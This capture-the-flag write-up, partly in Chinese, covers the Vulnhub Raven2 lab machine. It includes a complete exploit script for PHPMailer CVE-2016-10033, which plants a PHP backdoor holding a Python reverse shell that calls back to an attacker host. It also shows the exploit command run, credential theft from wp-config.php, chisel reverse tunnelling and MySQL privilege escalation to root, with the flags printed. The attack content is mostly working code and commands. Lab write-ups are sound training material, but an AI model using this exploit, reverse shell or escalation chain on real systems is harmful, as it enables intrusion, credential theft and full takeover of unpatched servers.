[Vulnhub] Raven2 PHPMailer-RCE+MSQP:Mysql权限提拔

信息网络

IP AddressOpening Ports192.168.101.160TCP:22,80,111,46606$ nmap -p- 192.168.101.160 --min-rate 1000 -sC -sV

1. PORT      STATE SERVICE VERSION
2. 22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
3. | ssh-hostkey:
4. |   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
5. |   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
6. |   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
7. |_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
8. 80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
9. |_http-title: Raven Security
10. |_http-server-header: Apache/2.4.10 (Debian)
11. 111/tcp   open  rpcbind 2-4 (RPC #100000)
12. | rpcinfo:
13. |   program version    port/proto  service
14. |   100000  2,3,4        111/tcp   rpcbind
15. |   100000  2,3,4        111/udp   rpcbind
16. |   100000  3,4          111/tcp6  rpcbind
17. |   100000  3,4          111/udp6  rpcbind
18. |   100024  1          46606/tcp   status
19. |   100024  1          54025/udp6  status
20. |   100024  1          57324/udp   status
21. |_  100024  1          60412/tcp6  status
22. 46606/tcp open  status  1 (RPC #100024)
23. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

复制代码

# echo '192.168.101.160 raven.local'>>/etc/hosts
usernames:steven,michael
$ gobuster dir -u "http://192.168.101.160/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x .php

http://raven.local/vendor/PATH
Flag 1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
本地权限

http://raven.local/vendor/VERSION
5.2.16

1. import os
2. import sys
3. import requests
4. from requests_toolbelt import MultipartEncoder
5. import signal
6. import threading
7. import time
8. import urllib3
10. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
12. class Spinner:
13.     busy = False
14.     delay = 0.1
16.     @staticmethod
17.     def spinning_cursor():
18.         while 1:
19.             for cursor in '|/-\\': yield cursor
21.     def __init__(self):
22.         self.spinner_generator = self.spinning_cursor()
23.         self.stop_running = threading.Event()
25.     def spinner_task(self):
26.         while not self.stop_running.is_set():
27.             sys.stdout.write(next(self.spinner_generator))
28.             sys.stdout.flush()
29.             time.sleep(self.delay)
30.             sys.stdout.write('\b')
31.             sys.stdout.flush()
33.     def start(self):
34.         self.busy = True
35.         threading.Thread(target=self.spinner_task).start()
37.     def stop(self):
38.         self.busy = False
39.         self.stop_running.set()
40.         time.sleep(self.delay)
42. def signal_handler(signal, frame):
43.     print("\n[!] Exiting...")
44.     sys.exit(0)
46. signal.signal(signal.SIGINT, signal_handler)
48. def clear_console():
49.     os.system('clear')
51. def print_banner():
52.     print("\n")
53.     print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
54.     print("██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
55.     print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")
56.     print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")
57.     print("██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")
58.     print("╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝")
59.     print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
60.     print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")
62. def main():
63.     if len(sys.argv) != 5:
64.         print("Usage: python exploit.py <target_url> <backdoor_name> <attacker_ip> <attacker_port>")
65.         sys.exit(1)
67.     target = sys.argv[1]
68.     backdoor = '/' + sys.argv[2]
69.     attacker_ip = sys.argv[3]
70.     attacker_port = sys.argv[4]
72.     payload = f"<?php system('python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'{attacker_ip}\',{attacker_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])""'); ?>"
73.     fields = {
74.         'action': 'submit',
75.         'name': payload,
76.         'email': f'"anarcoder\" -OQueueDirectory=/tmp -X/var/www/html{backdoor} server" @protonmail.com',
77.         'message': 'Pwned'
78.     }
80.     m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
81.     headers = {
82.         'User-Agent': 'curl/7.47.0',
83.         'Content-Type': m.content_type
84.     }
86.     print('[+] Sending evil shell to target...')
87.     spinner = Spinner()
88.     spinner.start()
90.     try:
91.         response = requests.post(target, data=m.to_string(), headers=headers, verify=False)
92.     except requests.exceptions.RequestException as e:
93.         print(f"\n[!] Error: {e}")
94.         spinner.stop()
95.         sys.exit(1)
97.     spinner.stop()
98.     print('[+] Spawning evil shell... bOOOOM :D')
99.     try:
100.         response = requests.get(target + backdoor, headers=headers, verify=False)
101.         if response.status_code == 200:
102.             print(f'[+] Exploited {target}')
103.         else:
104.             print(f'[!] Failed to exploit {target}, status code: {response.status_code}')
105.     except requests.exceptions.RequestException as e:
106.         print(f"[!] Error: {e}")
108. if __name__ == "__main__":
109.     clear_console()
110.     print_banner()
111.     main()

复制代码

$ python3 exploit.py http://192.168.101.160/contact.php reverse.php 192.168.101.128 10032
$ curl http://raven.local/reverse.php

$ python –c 'import pty;pty.spawn("/bin/bash")'
Flag 2

$ cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
Flag 3

$ find ./ -name flag3*

http://192.168.101.160/wordpress/wp-content/uploads/2018/11/flag3.png

flag3{a0f568aa9de277887f37730d71520d9b}
权限提拔 : MSQP

$ cat /var/www/html/wordpress/wp-config.php

username:root
password:R@v3nSecurity
(Kali)$ ./chisel server -p 8000 --reverse
(Target)$ ./chisel client 192.168.101.128:8000 R:3306:localhost:3306&

$ git clone https://github.com/MartinxMax/MSQP.git
$ python3 -m pip install mysql-connector-python
$ python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 10033

Flag 4

# cat /root/flag4.txt

flag4{df2bc5e951d91581467bb9a2a8ff4425}